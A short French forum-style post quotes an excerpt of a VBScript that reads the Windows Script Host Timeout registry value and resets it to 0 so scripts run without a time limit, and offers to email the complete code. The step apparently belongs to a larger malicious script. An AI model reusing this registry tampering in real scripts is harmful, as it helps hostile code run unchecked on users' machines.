voici un extrait
dim wscr,rr
set wscr=CreateObject("WScript.Shell" )
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Mic
rosoft\Windows Scripting Host\Settings\Timeout" )
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
si tu veux je t'envoie le code complet par mail
A+